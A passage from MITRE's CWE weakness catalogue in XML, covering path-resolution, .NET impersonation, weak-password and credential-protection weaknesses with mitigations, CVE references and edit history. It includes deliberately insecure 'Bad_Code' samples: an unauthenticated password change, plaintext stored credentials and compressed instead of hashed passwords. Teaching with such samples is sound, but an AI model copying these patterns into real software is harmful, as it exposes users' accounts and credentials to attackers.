					          <Relationship_Target_ID>893</Relationship_Target_ID>
					          <!--SFP Cluster: Path Resolution-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Read files or
						directories</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Modify files or
						directories</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation Mitigation_ID="MIT-20">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Inputs should be decoded and canonicalized to the application's
							current internal representation before being validated (CWE-180). Make
							sure that the application does not decode the same input twice
							(CWE-174). Such errors could be used to bypass whitelist validation
							schemes by introducing dangerous inputs after they have been
							checked.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1078</Observed_Example_Reference>
					          <Observed_Example_Description>Directory listings in web server using multiple
						trailing slash</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>/multiple/trailing/slash// ('multiple trailing
						slash')</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Path Issue - Multiple
						Trailing Slash - /multiple/trailing/slash//</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="520" Name=".NET Misconfiguration: Use of Impersonation" Weakness_Abstraction="Variant" Status="Incomplete">
			      <Description>
				        <Description_Summary>Allowing a .NET application to run at potentially escalated
					levels of access to the underlying operating and file systems can be dangerous
					and result in various forms of attacks.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>519</Relationship_Target_ID>
					          <!--.NET Environment Issues-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>266</Relationship_Target_ID>
					          <!--Incorrect Privilege Assignment-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>901</Relationship_Target_ID>
					          <!--SFP Cluster: Privilege-->
				</Relationship>
			      </Relationships>
			      <Other_Notes>
				        <Note>
					          <Text>.NET server applications can optionally execute using the identity of the
						user authenticated to the client. The intention of this functionality is to
						bypass authentication and access control checks within the .NET application
						code. Authentication is done by the underlying web server (Microsoft
						Internet Information Service IIS), which passes the authenticated token, or
						unauthenticated anonymous token, to the .NET application. Using the token to
						impersonate the client, the application then relies on the settings within
						the NTFS directories and files to control access. Impersonation enables the
						application, on the server running the .NET application, to both execute
						code and access resources in the context of the authenticated and authorized
						user.</Text>
				        </Note>
			      </Other_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
				        <Introductory_Phase>Operation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Operation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Run the application with limited privilege to the underlying operating
							and file system.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="Anonymous Tool Vendor (under NDA)">
					          <Mapped_Node_Name/>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>Anonymous Tool Vendor (under NDA)</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">.NET Misconfiguration:
						Impersonation</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="521" Name="Weak Password Requirements" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The product does not require that users should have strong
					passwords, which makes it easier for attackers to compromise user
					accounts.</Description_Summary>
				        <Extended_Description>
					          <Text>An authentication mechanism is only as strong as its credentials. For this
						reason, it is important to require users to have strong passwords. Lack of
						password complexity significantly reduces the search space when trying to
						guess user's passwords, making brute-force attacks easier.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>255</Relationship_Target_ID>
					          <!--Credentials Management-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>287</Relationship_Target_ID>
					          <!--Improper Authentication-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">711</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>724</Relationship_Target_ID>
					          <!--OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>898</Relationship_Target_ID>
					          <!--SFP Cluster: Authentication-->
				</Relationship>
			      </Relationships>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>An attacker could easily guess user passwords and gain access user
							accounts.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Enforce usage of strong passwords. A password strength policy should
							contain the following attributes:</Text>
						            <Block Block_Nature="Numeric_List">
							              <Text>Minimum and maximum length;</Text>
							              <Text>Require mixed character sets (alpha, numeric, special, mixed
								case);</Text>
							              <Text>Do not contain user name;</Text>
							              <Text>Expiration;</Text>
							              <Text>No password reuse.</Text>
						            </Block>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Authentication mechanisms should always require sufficiently complex
							passwords and require that they be periodically changed.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <References>
				        <Reference Reference_ID="REF-17">
					          <Reference_Author>Michael Howard</Reference_Author>
					          <Reference_Author>David LeBlanc</Reference_Author>
					          <Reference_Author>John Viega</Reference_Author>
					          <Reference_Title>24 Deadly Sins of Software Security</Reference_Title>
					          <Reference_Section>"Sin 19: Use of Weak Password-Based Systems." Page
						279</Reference_Section>
					          <Reference_Publication>McGraw-Hill</Reference_Publication>
					          <Reference_PubDate>2010</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="Anonymous Tool Vendor (under NDA)">
					          <Mapped_Node_Name/>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="OWASP Top Ten 2004">
					          <Mapped_Node_Name>Broken Authentication and Session
						Management</Mapped_Node_Name>
					          <Mapped_Node_ID>A3</Mapped_Node_ID>
					          <Mapping_Fit>CWE_More_Specific</Mapping_Fit>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>112</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>16</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>49</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>55</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>70</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>Anonymous Tool Vendor (under NDA)</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier_Organization>Veracode</Modifier_Organization>
					          <Modification_Date>2008-08-15</Modification_Date>
					          <Modification_Comment>Suggested OWASP Top Ten 2004
						mapping</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Description, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, References, Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="522" Name="Insufficiently Protected Credentials" Weakness_Abstraction="Base" Status="Incomplete">
			      <Description>
				        <Description_Summary>This weakness occurs when the application transmits or stores
					authentication credentials and uses an insecure method that is susceptible to
					unauthorized interception and/or retrieval.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>255</Relationship_Target_ID>
					          <!--Credentials Management-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>287</Relationship_Target_ID>
					          <!--Improper Authentication-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>668</Relationship_Target_ID>
					          <!--Exposure of Resource to Wrong Sphere-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">711</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>724</Relationship_Target_ID>
					          <!--OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">629</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>718</Relationship_Target_ID>
					          <!--OWASP Top Ten 2007 Category A7 - Broken Authentication and Session Management-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>895</Relationship_Target_ID>
					          <!--SFP Cluster: Information Leak-->
				</Relationship>
			      </Relationships>
			      <Other_Notes>
				        <Note>
					          <Text>Attackers are potentially able to bypass authentication mechanisms, hijack
						a victim's account, and obtain the role and respective access level of the
						accounts.</Text>
				        </Note>
			      </Other_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>An attacker could gain access to user accounts and access sensitive
							data used by the user accounts.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Use an appropriate security mechanism to protect the
							credentials.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Make appropriate use of cryptography to protect the
							credentials.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Use industry standards to protect the credentials (e.g. LDAP,
							keystore, etc.).</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-56">
					          <Intro_Text>This code changes a user's password.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>PHP</Code_Example_Language>
							              <Code>$user = $_GET['user'];</Code>
							              <Code>$pass = $_GET['pass'];</Code>
							              <Code>$checkpass = $_GET['checkpass'];</Code>
							              <Code>if ($pass == $checkpass) {</Code>
							              <Block>
								                <Code>SetUserPassword($user, $pass);</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text> While the code confirms that the requesting user typed the same new
							password twice, it does not confirm that the user requesting the
							password change is the same user whose password will be changed. An
							attacker can request a change of another user's password and gain
							control of the victim's account.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-57">
					          <Intro_Text>The following code reads a password from a properties file and uses
						the password to connect to a database.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>...</Code>
							              <Code>Properties prop = new Properties();</Code>
							              <Code>prop.load(new FileInputStream("config.properties"));</Code>
							              <Code>String password = prop.getProperty("password");</Code>
							              <Code>DriverManager.getConnection(url, usr, password);</Code>
							              <Code>...</Code>
						            </Block>
						            <Text>This code will run successfully, but anyone who has access to
							config.properties can read the value of password. If a devious employee
							has access to this information, they can use it to break into the
							system.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-58">
					          <Intro_Text>The following code reads a password from the registry and uses the
						password to create a new network credential.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>...</Code>
							              <Code>String password = regKey.GetValue(passKey).toString();</Code>
							              <Code>NetworkCredential netCred = new
								NetworkCredential(username,password,domain);</Code>
							              <Code>...</Code>
						            </Block>
						            <Text>This code will run successfully, but anyone who has access to the
							registry key used to store the password can read the value of password.
							If a devious employee has access to this information, they can use it to
							break into the system</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-59">
					          <Intro_Text>Both of these examples verify a password by comparing it to a stored
						compressed version.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code_Example_Language>C++</Code_Example_Language>
							              <Code>int VerifyAdmin(char *password) {</Code>
							              <Block>
								                <Code>if (strcmp(compress(password), compressed_password)) {</Code>
								                <Block>
									                  <Code>printf("Incorrect Password!\n");</Code>
									                  <Code>return(0);</Code>
								                </Block>
								                <Code>}</Code>
								                <Code>printf("Entering Diagnostic Mode...\n");</Code>
								                <Code>return(1);</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>int VerifyAdmin(String password) {</Code>
							              <Block>
								                <Code>if (passwd.Equals(compress(password), compressed_password))
									{</Code>
								                <Block>
									                  <Code>return(0);</Code>
								                </Block>
								                <Code>}</Code>
								                <Comment>//Diagnostic Mode</Comment>
								                <Code>return(1);</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>Because a compression algorithm is used instead of a one way hashing
							algorithm, an attacker can recover compressed passwords stored in the
							database. </Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-43">
					          <Intro_Text>The following examples show a portion of properties and
						configuration files for Java and ASP.NET applications. The files include
						username and password information but they are stored in
						plaintext.</Intro_Text>
					          <Example_Body>
						            <Text>This Java example shows a properties file with a plaintext username /
							password pair.</Text>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Comment># Java Web App ResourceBundle properties file</Comment>
							              <Code>...</Code>
							              <Code>webapp.ldap.username=secretUsername</Code>
							              <Code>webapp.ldap.password=secretPassword</Code>
							              <Code>...</Code>
						            </Block>
						            <Text>The following example shows a portion of a configuration file for an
							ASP.Net application. This configuration file includes username and
							password information for a connection to a database but the pair is
							stored in plaintext.</Text>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>ASP.NET</Code_Example_Language>
							              <Code>...</Code>
							              <Code>&lt;connectionStrings&gt;</Code>
							              <Code>&lt;add name="ud_DEV" connectionString="connectDB=uDB;
								uid=db2admin; pwd=password; dbalias=uDB;"
								providerName="System.Data.Odbc" /&gt;</Code>
							              <Code>&lt;/connectionStrings&gt;</Code>
							              <Code>...</Code>
						            </Block>
						            <Text>Username and password information should not be included in a
							configuration file or a properties file in plaintext as this will allow
							anyone who can read the file access to the resource. If possible,
							encrypt this information and avoid CWE-260 and CWE-13.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2007-0681</Observed_Example_Reference>
					          <Observed_Example_Description> Web app allows remote attackers to change the
						passwords of arbitrary users without providing the original password, and
						possibly perform other unauthorized actions. </Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2000-0944</Observed_Example_Reference>
					          <Observed_Example_Description>Web application password change utility doesn't
						check the original password.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-3435</Observed_Example_Reference>
					          <Observed_Example_Description>product authentication succeeds if user-provided
						MD5 hash matches the hash in its database; this can be subjected to replay
						attacks.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-0408</Observed_Example_Reference>
					          <Observed_Example_Description>chain: product generates predictable MD5 hashes
						using a constant value combined with username, allowing authentication
						bypass.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <References>
				        <Reference Reference_ID="REF-17">
					          <Reference_Author>Michael Howard</Reference_Author>
					          <Reference_Author>David LeBlanc</Reference_Author>
					          <Reference_Author>John Viega</Reference_Author>
					          <Reference_Title>24 Deadly Sins of Software Security</Reference_Title>
					          <Reference_Section>"Sin 19: Use of Weak Password-Based Systems." Page
						279</Reference_Section>
					          <Reference_Publication>McGraw-Hill</Reference_Publication>
					          <Reference_PubDate>2010</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="Anonymous Tool Vendor (under NDA)">
					          <Mapped_Node_Name/>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="OWASP Top Ten 2007">
					          <Mapped_Node_Name>Broken Authentication and Session
						Management</Mapped_Node_Name>
					          <Mapped_Node_ID>A7</Mapped_Node_ID>
					          <Mapping_Fit>CWE_More_Specific</Mapping_Fit>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="OWASP Top Ten 2004">
					          <Mapped_Node_Name>Broken Authentication and Session
						Management</Mapped_Node_Name>
					          <Mapped_Node_ID>A3</Mapped_Node_ID>
					          <Mapping_Fit>CWE_More_Specific</Mapping_Fit>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>102</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>205</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>50</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>Anonymous Tool Vendor (under NDA)</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Demonstrative_Examples,
						Observed_Examples, References, Related_Attack_Patterns,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, Potential_Mitigations</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="523" Name="Unprotected Transport of Credentials" Weakness_Abstraction="Variant" Status="Incomplete">
			      <Description>
				        <Description_Summary>Login pages not using adequate measures to protect the user
					name and password while they are in transit from the client to the
					server.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>522</Relationship_Target_ID>
					          <!--Insufficiently Protected Credentials-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
